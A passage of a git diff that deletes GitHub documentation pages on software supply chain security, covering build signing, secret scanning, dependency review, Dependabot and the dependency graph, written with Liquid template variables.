manage your own signing key material. {% data variables.product.prodname_dotcom %} handles this for you with the signing authority we operate. - -For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds). - -{% endif %} - -## Sign your builds - -After your build process is secure, you want to prevent someone from tampering with the end result of your build process. A great way to do this is to sign your builds. When distributing software publicly, this is often done with a public/private cryptographic key pair. You use the private key to sign the build, and you publish your public key so users of your software can verify the signature on the build before they use it. If the bytes of the build are modified, the signature will not verify. - -How exactly you sign your build will depend on what sort of code you're writing, and who your users are. Often it's difficult to know how to securely store the private key. One basic option here is to use {% data variables.product.prodname_actions %} encrypted secrets, although you'll need to be careful to limit who has access to those {% data variables.product.prodname_actions %} workflows. {% ifversion fpt or ghec %}If your private key is stored in another system accessible over the public internet (like Microsoft Azure, or HashiCorp Vault), a more advanced option is to authenticate with OpenID Connect, so you don't have to share secrets across systems.{% endif %} If your private key is only accessible from a private network, another option is to use self-hosted runners for {% data variables.product.prodname_actions %}. - -For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets){% ifversion fpt or ghec %}, [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect),{% endif %} and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -## Harden security for {% data variables.product.prodname_actions %} - -There are many further steps you can take to additionally secure {% data variables.product.prodname_actions %}. In particular, be careful when evaluating third-party workflows, and consider using `CODEOWNERS` to limit who can make changes to your workflows. - -For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions) and [AUTOTITLE](/actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions). - -## Next steps - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) diff --git a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md b/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md deleted file mode 100644 index 6da36fac0c65..000000000000 --- a/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Best practices for securing code in your supply chain -shortTitle: Securing code -allowTitleToDifferFromFilename: true -intro: Guidance on how to protect the center of your supply chain—the code you write and the code you depend on. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Dependabot - - Security updates - - Vulnerabilities - - Code Security - - Secret Protection - - Secret scanning ---- - -## About this guide - -This guide describes the highest impact changes you can make to improve the security of your code. Each section outlines a change you can make to your processes to improve security. The highest impact changes are listed first. - -## What's the risk? - -Key risks in the development process include: - -* Using dependencies with security vulnerabilities that an attacker could exploit. -* Leaking authentication credentials or a token that an attacker could use to access your resources. -* Introducing a vulnerability to your own code that an attacker could exploit. - -These risks open your resources and projects to attack and those risks are passed directly on to anyone who uses a package that you create. The following sections explain how you can protect yourself and your users from these risks. - -## Create a vulnerability management program for dependencies - -You can secure the code you depend on by creating a vulnerability management program for dependencies. At a high level this should include processes to ensure that you: - -1. Create an inventory of your dependencies. - -1. Know when there is a security vulnerability in a dependency. -1. Enforce dependency reviews on your pull requests. - -1. Assess the impact of that vulnerability on your code and decide what action to take. - -### Automatic inventory generation - -As a first step, you want to make a complete inventory of your dependencies. The dependency graph for a repository shows you dependencies for supported ecosystems. If you check in your dependencies, or use other ecosystems, you will need to supplement this with data from 3rd party tools or by listing dependencies manually. {% data reusables.dependency-graph.sbom-export %} - -### Automatic detection of vulnerabilities in dependencies - -{% data variables.product.prodname_dependabot %} can help you by monitoring your dependencies and notifying you when they contain a known vulnerability. You can even enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests that update the dependency to a secure version. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -### Automatic detection of vulnerabilities in pull requests - -The {% data variables.dependency-review.action_name %} enforces a dependency review on your pull requests, making it easy for you to see if a pull request will introduce a vulnerable version of a dependency to your repository. When a vulnerability is detected, the {% data variables.dependency-review.action_name %} can block the pull request from merging. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#the-dependency-review-action). - -### Assessment of exposure to risk from a vulnerable dependency - -When you discover you are using a vulnerable dependency, for example, a library or a framework, you must assess your project's level of exposure and determine what action to take. Vulnerabilities are usually reported with a severity score to show how severe their impact could be. The severity score is a useful guide but cannot tell you the full impact of the vulnerability on your code. - -To assess the impact of a vulnerability on your code, you also need to consider how you use the library and determine how much risk that actually poses to your system. Maybe the vulnerability is part of a feature that you don't use, and you can update the affected library and continue with your normal release cycle. Or maybe your code is badly exposed to risk, and you need to update the affected library and ship an updated build right away. This decision depends on how you're using the library in your system, and is a decision that only you have the knowledge to make. - -## Secure your communication tokens - -Code often needs to communicate with other systems over a network, and requires secrets (like a password, or an API key) to authenticate. Your system needs access to those secrets to run, but it's best practice to not include them in your source code. This is especially important for repositories to which many people might have access and critical for public repositories. - -### Automatic detection of secrets committed to a repository - -> [!NOTE] -> {% data reusables.gated-features.secret-scanning %} - -{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} - -{% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} partners with many providers to automatically detect when secrets are committed to or stored in your public repositories and public npm packages you depend on, and will notify the provider so they can take appropriate actions to ensure your account remains secure. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts##about-partner-alerts). -{% endif %} - -{% ifversion fpt %} -You can enable and configure additional scanning that will alert you about accidentally leaked secrets on {% data variables.product.github %} if you own: - * Public repositories. - * An organization using {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GHAS_or_secret_protection %}. {% data variables.product.prodname_secret_scanning_caps %} will also analyze your private repositories. - -{% elsif secret-scanning-user-owned-repos %} -If your organization uses {% data variables.product.prodname_GHAS_or_secret_protection %}, you can enable {% data variables.secret-scanning.user_alerts %} on any repository owned by the organization, including private repositories. {% data reusables.secret-scanning.secret-scanning-user-owned-repos-beta %} - -You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts#about-secret-scanning-alerts). -{% else %} -You can configure {% data variables.product.prodname_secret_scanning %} to check for secrets issued by many service providers and to notify you when any are detected. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) and [AUTOTITLE](/code-security/secret-scanning/introduction/supported-secret-scanning-patterns). -{% endif %} - -### Secure storage of secrets you use on {% data variables.product.github %} - -{% ifversion fpt or ghec %} -Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows, {% data variables.product.prodname_dependabot %}, or your {% data variables.product.prodname_github_codespaces %} development environment to communicate with other systems. For more information on how to securely store and use secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets), [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#storing-credentials-for-dependabot-to-use), and [AUTOTITLE](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). -{% endif %} - -{% ifversion ghes %} -Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows{% ifversion ghes %} or {% data variables.product.prodname_dependabot %}{% endif %} to communicate with other systems. For more information on how to securely store and use secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets){% ifversion ghes %} and [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#storing-credentials-for-dependabot-to-use).{% else %}."{% endif %} -{% endif %} - -## Keep vulnerable coding patterns out of your repository - -> [!NOTE] -> {% data reusables.gated-features.code-scanning %} - -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -### Create a pull request review process - -You can improve the quality and security of your code by ensuring that all pull requests are reviewed and tested before they are merged. {% data variables.product.prodname_dotcom %} has many features you can use to control the review and merge process. To get started, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -### Scan your code for vulnerable patterns - -Insecure code patterns are often difficult for reviewers to spot unaided. In addition to scanning your code for secrets, you can check it for patterns that are associated with security vulnerabilities. For example, a function that isn't memory-safe, or failing to escaping user input that could lead to an injection vulnerability. {% data variables.product.prodname_dotcom %} offers several different ways to approach both how and when you scan your code. To get started, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning). - -## Next steps - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) - -* [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) diff --git a/content/code-security/supply-chain-security/index.md b/content/code-security/supply-chain-security/index.md deleted file mode 100644 index f14e6bb758a3..000000000000 --- a/content/code-security/supply-chain-security/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Securing your software supply chain -shortTitle: Supply chain security -allowTitleToDifferFromFilename: true -intro: 'Visualize, maintain, and secure the dependencies in your software supply chain.' -redirect_from: - - /categories/managing-security-vulnerabilities - - /github/managing-security-vulnerabilities -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Dependabot - - Dependencies - - Repositories -children: - - /understanding-your-software-supply-chain - - /end-to-end-supply-chain ---- diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md deleted file mode 100644 index a81fe9f864d8..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: About dependency review -intro: 'Dependency review lets you catch insecure dependencies before you introduce them to your environment, and provides information on license, dependents, and age of dependencies.' -product: '{% data reusables.gated-features.dependency-review %}' -shortTitle: Dependency review -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Dependency review - - Vulnerabilities - - Dependencies - - Pull requests -redirect_from: - - /code-security/supply-chain-security/about-dependency-review ---- - -## About dependency review - -{% data reusables.dependency-review.feature-overview %} - -For pull requests that contain changes to package manifests or lock files, you can display a dependency review to see what has changed. The dependency review includes details of changes to indirect dependencies in lock files, and it tells you if any of the added or updated dependencies contain known vulnerabilities. - ->[!NOTE] -> The "{% data variables.dependency-review.action_name %}" refers to the specific action that can report on differences in a pull request within the {% data variables.product.prodname_actions %} context, and add enforcement mechanisms to the {% data variables.product.prodname_actions %} workflow. For more information, see [The {% data variables.dependency-review.action_name %}](#about-the-dependency-review-action) later in this article. - -Sometimes you might just want to update the version of one dependency in a manifest and generate a pull request. However, if the updated version of this direct dependency also has updated dependencies, your pull request may have more changes than you expected. The dependency review for each manifest and lock file provides an easy way to see what has changed, and whether any of the new dependency versions contain known vulnerabilities. - -By checking the dependency reviews in a pull request, and changing any dependencies that are flagged as vulnerable, you can avoid vulnerabilities being added to your project. For more information about how dependency review works, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request). - -{% data variables.product.prodname_dependabot_alerts %} will find vulnerabilities that are already in your dependencies, but it's much better to avoid introducing potential problems than to fix problems at a later date. For more information about {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts#dependabot-alerts-for-vulnerable-dependencies). - -Dependency review supports the same languages and package management ecosystems as the dependency graph. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems). - -For more information on supply chain features available on {% data variables.product.github %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security). - -{% ifversion ghec or ghes %} - -## Enabling dependency review - -The dependency review feature becomes available when you enable the dependency graph. For more information, see "{% ifversion ghec %}[Enabling the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph){% elsif ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% endif %}." -{% endif %} - -## About the {% data variables.dependency-review.action_name %} - -{% data reusables.dependency-review.about-dependency-review-action %} - -![Screenshot of a workflow run that uses the dependency review action.](/assets/images/help/graphs/dependency-review-action.png) - -{% data reusables.dependency-review.about-dependency-review-action2 %} - -The action is available for all {% ifversion fpt or ghec %}public repositories, as well as private {% endif %}repositories that have {% data variables.product.prodname_GHAS_or_code_security %} enabled. - -{% data reusables.dependency-review.org-level-enforcement %} - -{% data reusables.dependency-review.action-enterprise %} - -The action uses the dependency review REST API to get the diff of dependency changes between the base commit and head commit. You can use the dependency review API to get the diff of dependency changes, including vulnerability data, between any two commits on a repository. For more information, see [AUTOTITLE](/rest/dependency-graph/dependency-review). The action also considers dependencies submitted via the {% data variables.dependency-submission-api.name %}. For more information about the {% data variables.dependency-submission-api.name %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). - -{% data reusables.dependency-review.works-with-submission-api-beta %} - -You can configure the {% data variables.dependency-review.action_name %} to better suit your needs. For example, you can specify the severity level that will make the action fail{% ifversion dependency-review-action-licenses %}, or set an allow or deny list for licenses to scan{% endif %}. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-review-action). - -## Best practices for using the dependency review API and the {% data variables.dependency-submission-api.name %} together - -The dependency review API and the {% data variables.dependency-review.action_name %} both work by comparing dependency changes in a pull request with the state of your dependencies in the head commit of your target branch. - -If your repository only depends on statically defined dependencies in one of {% data variables.product.prodname_dotcom %}’s supported ecosystems, the dependency review API and the {% data variables.dependency-review.action_name %} work consistently. - -However, you may want your dependencies to be scanned during a build and then uploaded to the {% data variables.dependency-submission-api.name %}. In this case, there are some best practices you should follow to ensure that you don’t introduce a race condition when running the processes for the dependency review API and the {% data variables.dependency-submission-api.name %}, since it could result in missing data. - -The best practices you should take will depend on whether you use {% data variables.product.prodname_actions %} to access the {% data variables.dependency-submission-api.name %} and the dependency review API, or whether you use direct API access. - -### Using GitHub Actions to access the {% data variables.dependency-submission-api.name %} and the dependency review API - -If you use {% data variables.product.prodname_actions %} to access the {% data variables.dependency-submission-api.name %} or the dependency review API: - * Make sure you run all of your dependency submission actions in the same {% data variables.product.prodname_actions %} workflow as your {% data variables.dependency-review.action_name %}. This will give you control over the order of execution, and it will ensure that dependency review will always work. - * If you do choose to run the {% data variables.dependency-review.action_name %} separately, you should: - * Set `retry-on-snapshot-warnings` to `true`. - * Set `retry-on-snapshot-warnings-timeout` to slightly exceed the typical run time (in seconds) of your longest-running dependency submission action. - -### Using direct API access to the {% data variables.dependency-submission-api.name %} and the dependency review API - -If you don’t use {% data variables.product.prodname_actions %}, and your code relies on direct access to the {% data variables.dependency-submission-api.name %} and the dependency review API: - * Make sure you run the code that calls the {% data variables.dependency-submission-api.name %} first, and then run the code that calls the dependency review API afterwards. - * If you do choose to run the code for the {% data variables.dependency-submission-api.name %} and the dependency review API in parallel, you should implement a retry logic and note the following: - * When there are snapshots missing for either side of the comparison, you will see an explanation for that in the `x-github-dependency-graph-snapshot-warnings` header (as a base64-encoded string). Therefore, if the header is non-empty, you should consider retrying. - * Implement a retry logic with exponential backoff retries. - * Implement a reasonable number of retries to account for the typical runtime of your dependency submission code. - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/customizing-your-dependency-review-action-configuration) diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md deleted file mode 100644 index 3bc601536861..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security.md +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: About supply chain security -intro: '{% data variables.product.github %} helps you secure your supply chain, from understanding the dependencies in your environment, to knowing about vulnerabilities in those dependencies, and patching them.' -shortTitle: Supply chain security -redirect_from: - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Code Security - - Dependency review - - Dependency graph - - Vulnerabilities - - Dependencies - - Pull requests - - Repositories ---- - -## About supply chain security at GitHub - -When developing a software project, you likely use other software to build and run your application, such as open-source libraries, frameworks or other tools. These resources are collectively referred to as your “dependencies”, because your project depends on them to function properly. Your project could rely on hundreds of these dependencies, forming what is known as your "supply chain". - -Your supply chain can pose a security problem. If one of your dependencies has a known security weakness or a bug, malicious actors could exploit this vulnerability to, for example, insert malicious code ("malware"), steal sensitive data, or cause some other type of disruption to your project. This type of threat is called a "supply chain attack". Having vulnerable dependencies in your supply chain compromises the security of your own project, and you put your users at risk, too. - -One of the most important things you can do to protect your supply chain is to patch your vulnerable dependencies and replace any malware. - -You add dependencies directly to your supply chain when you specify them in a manifest file or a lockfile. Dependencies can also be included transitively, that is, even if you don’t specify a particular dependency, but a dependency of yours uses it, then you’re also dependent on that dependency. - -{% data variables.product.github %} offers a range of features to help you understand the dependencies in your environment, know about vulnerabilities in those dependencies, and patch them. - -The supply chain features on {% data variables.product.github %} are: -* **Dependency graph** -* **Dependency review** -* **{% data variables.product.prodname_dependabot_alerts %}** -* **{% data variables.product.prodname_dependabot_updates %}** - * **{% data variables.product.prodname_dependabot_security_updates %}** - * **{% data variables.product.prodname_dependabot_version_updates %}** - -The dependency graph is central to supply chain security. The dependency graph identifies all upstream dependencies and public downstream dependents of a repository or package. Your repository’s dependency graph tracks and displays its dependencies and some of their properties, like vulnerability information. - -Other supply chain features on {% data variables.product.prodname_dotcom %} rely on the information provided by the dependency graph. - -* Dependency review uses the dependency graph to identify dependency changes and help you understand the security impact of these changes when you review pull requests. -* {% data variables.product.prodname_dependabot %} cross-references dependency data provided by the dependency graph with the list of advisories published in the {% data variables.product.prodname_advisory_database %}, scans your dependencies and generates {% data variables.product.prodname_dependabot_alerts %} when a potential vulnerability is detected. -* {% data variables.product.prodname_dependabot_security_updates %} use the dependency graph and {% data variables.product.prodname_dependabot_alerts %} to help you update dependencies with known vulnerabilities in your repository. - -{% data variables.product.prodname_dependabot_version_updates %} don't use the dependency graph and rely on the semantic versioning of dependencies instead. {% data variables.product.prodname_dependabot_version_updates %} help you keep your dependencies updated, even when they don’t have any vulnerabilities. - -For best practice guides on end-to-end supply chain security including the protection of personal accounts, code, and build processes, see [AUTOTITLE](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview). - -## Feature overview - -### What is the dependency graph? - -To generate the dependency graph, {% data variables.product.company_short %} looks at a repository’s explicit dependencies declared in the manifest and lockfiles. When enabled, the dependency graph automatically parses all known package manifest files in the repository, and uses this to construct a graph with known dependency names and versions. - -* The dependency graph includes information on your _direct_ dependencies and _transitive_ dependencies. -* The dependency graph is automatically updated when you push a commit to {% data variables.product.company_short %} that changes or adds a supported manifest or lock file to the default branch, and when anyone pushes a change to the repository of one of your dependencies. -* The dependency graph can also include information you provide as your project is building using {% data variables.product.prodname_actions %}. Some package ecosystems pull in most of their transitive dependencies at build time, so submitting dependency information as the build is happening provides a more complete view of the supply chain. -* You can see the dependency graph by opening the repository's main page on {% data variables.product.github %}, and navigating to the **Insights** tab. -* {% data reusables.dependency-graph.sbom-export %} - -{% data reusables.dependency-submission.dependency-submission-link %} - -For more information about the dependency graph, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). - -### What is dependency review? - -Dependency review helps reviewers and contributors understand dependency changes and their security impact in every pull request. - -* Dependency review tells you which dependencies were added, removed, or updated, in a pull request. You can use the release dates, popularity of dependencies, and vulnerability information to help you decide whether to accept the change. -* You can see the dependency review for a pull request by showing the rich diff on the **Files Changed** tab. - -For more information about dependency review, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). - -### What is Dependabot? - -{% data variables.product.prodname_dependabot %} keeps your dependencies up to date by informing you of any security vulnerabilities in your dependencies and automatically opening pull requests to upgrade your dependencies. {% data variables.product.prodname_dependabot %} pull requests will target the next available secure version when a {% data variables.product.prodname_dependabot %} alert is triggered, or to the latest version when a release is published. - -The term "{% data variables.product.prodname_dependabot %}" encompasses the following features: -* {% data variables.product.prodname_dependabot_alerts %}: Displayed notification on the **Security** tab for the repository, and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version. -* {% data variables.product.prodname_dependabot_updates %}: - * {% data variables.product.prodname_dependabot_security_updates %}: Triggered updates to upgrade your dependencies to a secure version when an alert is triggered. - * {% data variables.product.prodname_dependabot_version_updates %}: Scheduled updates to keep your dependencies up to date with the latest version. - -{% ifversion fpt or ghec %}Pull requests opened by {% data variables.product.prodname_dependabot %} can trigger workflows that run actions. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions).{% endif %} - -{% ifversion dependabot-on-actions-opt-in %}By default: - -* If {% data variables.product.prodname_actions %} is enabled for the repository, {% data variables.product.prodname_dotcom %} runs {% data variables.product.prodname_dependabot_updates %} on {% data variables.product.prodname_actions %}. - -* If {% data variables.product.prodname_actions %} is not enabled for the repository, {% data variables.product.github %} generates {% data variables.product.prodname_dependabot_alerts %} using its built-in {% data variables.product.prodname_dependabot %} application. - -For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -{% else %} - -{% data variables.product.prodname_dependabot_security_updates %} and {% data variables.product.prodname_dependabot_version_updates %} require {% data variables.product.prodname_actions %} to run on {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dependabot_alerts %} do not require {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). - -{% endif %} - -{% data reusables.dependabot.dependabot-actions-support %} For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -#### What are Dependabot alerts? - -{% data variables.product.prodname_dependabot_alerts %} highlight repositories affected by a newly discovered vulnerability based on the dependency graph and the {% data variables.product.prodname_advisory_database %}, which contains advisories for known vulnerabilities. - -* {% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when: -{% ifversion fpt or ghec %} - * A new advisory is added to the {% data variables.product.prodname_advisory_database %}.{% else %} - * New advisory data is synchronized to your instance each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} - * The dependency graph for the repository changes. -* {% data variables.product.prodname_dependabot_alerts %} are displayed on the **Security** tab for the repository and in the repository's dependency graph. The alert includes a link to the affected file in the project, and information about a fixed version. - -For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -#### What are Dependabot updates? - -There are two types of {% data variables.product.prodname_dependabot_updates %}: {% data variables.product.prodname_dependabot %} _security_ updates and _version_ updates. {% data variables.product.prodname_dependabot %} generates automatic pull requests to update your dependencies in both cases, but there are several differences. - -{% data variables.product.prodname_dependabot_security_updates %}: -* Triggered by a {% data variables.product.prodname_dependabot %} alert -* Update dependencies to the minimum version that resolves a known vulnerability -* Supported for ecosystems the dependency graph supports -* Does not require a configuration file, but you can use one to override the default behavior - -{% data variables.product.prodname_dependabot_version_updates %}: -* Requires a configuration file -* Run on a schedule you configure -* Update dependencies to the latest version that matches the configuration -* Supported for a different group of ecosystems - -For more information about {% data variables.product.prodname_dependabot_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). - -## Feature availability - -{% ifversion fpt or ghec %} - -Public repositories: -* **Dependency graph:** Enabled by default and cannot be disabled. -* **Dependency review:** Enabled by default and cannot be disabled. -* **{% data variables.product.prodname_dependabot_alerts %}:** Not enabled by default. {% data variables.product.prodname_dotcom %} detects insecure dependencies and displays information in the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %}. - You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account) or [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -Private repositories: -* **Dependency graph:** Not enabled by default. The feature can be enabled by repository administrators. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph). -{% ifversion fpt %} -* **Dependency review:** Available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GHAS_or_code_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). -{% elsif ghec %} -* **Dependency review:** Available in private repositories owned by organizations provided you have a license for {% data variables.product.prodname_GHAS_or_code_security %} and the dependency graph enabled. For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security) and [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph). -{% endif %} -* **{% data variables.product.prodname_dependabot_alerts %}:** Not enabled by default. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories. - You can also enable or disable Dependabot alerts for all repositories owned by your user account or organization. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account) or [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -Any repository type: -* **{% data variables.product.prodname_dependabot_security_updates %}:** Not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). -* **{% data variables.product.prodname_dependabot_version_updates %}:** Not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). -{% endif %} - -{% ifversion ghes %} -* **Dependency graph and {% data variables.product.prodname_dependabot_alerts %}:** Not enabled by default. Both features are configured at an enterprise level by the enterprise owner. For more information, see {% ifversion ghes %}[AUTOTITLE](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise) and {% endif %}[AUTOTITLE](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise). -* **Dependency review:** Available when dependency graph is enabled for your instance and {% data variables.product.prodname_GHAS_or_code_security %} is enabled for the organization or repository. For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). -{% endif %} -{% ifversion ghes %} -* **{% data variables.product.prodname_dependabot_security_updates %}:** Not enabled by default. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For information about enabling security updates, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates). -* **{% data variables.product.prodname_dependabot_version_updates %}:** Not enabled by default. People with write permissions to a repository can enable {% data variables.product.prodname_dependabot_version_updates %}. For information about enabling version updates, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). -{% endif %} diff --git a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md b/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md deleted file mode 100644 index 05dccccfcd59..000000000000 --- a/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: About the dependency graph -intro: You can use the dependency graph to identify all your project's dependencies. The dependency graph supports a range of popular package ecosystems. -product: '{% data reusables.gated-features.dependency-graph %}' -redirect_from: - - /github/visualizing-repository-data-with-graphs/about-the-dependency-graph - - /code-security/supply-chain-security/about-the-dependency-graph -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Dependency graph - - Dependencies - - Repositories -shortTitle: Dependency graph ---- -<!--Marketing-LINK: From /features/security and /features/security/software-supply-chain pages "How GitHub's dependency graph is generated".--> - -## About the dependency graph - -{% data reusables.dependabot.about-the-dependency-graph %} - -When you push a commit to {% data variables.product.github %} that changes or adds a supported manifest or lock file to the default branch, the dependency graph is automatically updated.{% ifversion fpt or ghec %} In addition, the graph is updated when anyone pushes a change to the repository of one of your dependencies.{% endif %} - -For information on the supported ecosystems and manifest files, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems). - -{% data reusables.dependency-submission.dependency-submission-link %} - -When you create a pull request containing changes to dependencies that targets the default branch, {% data 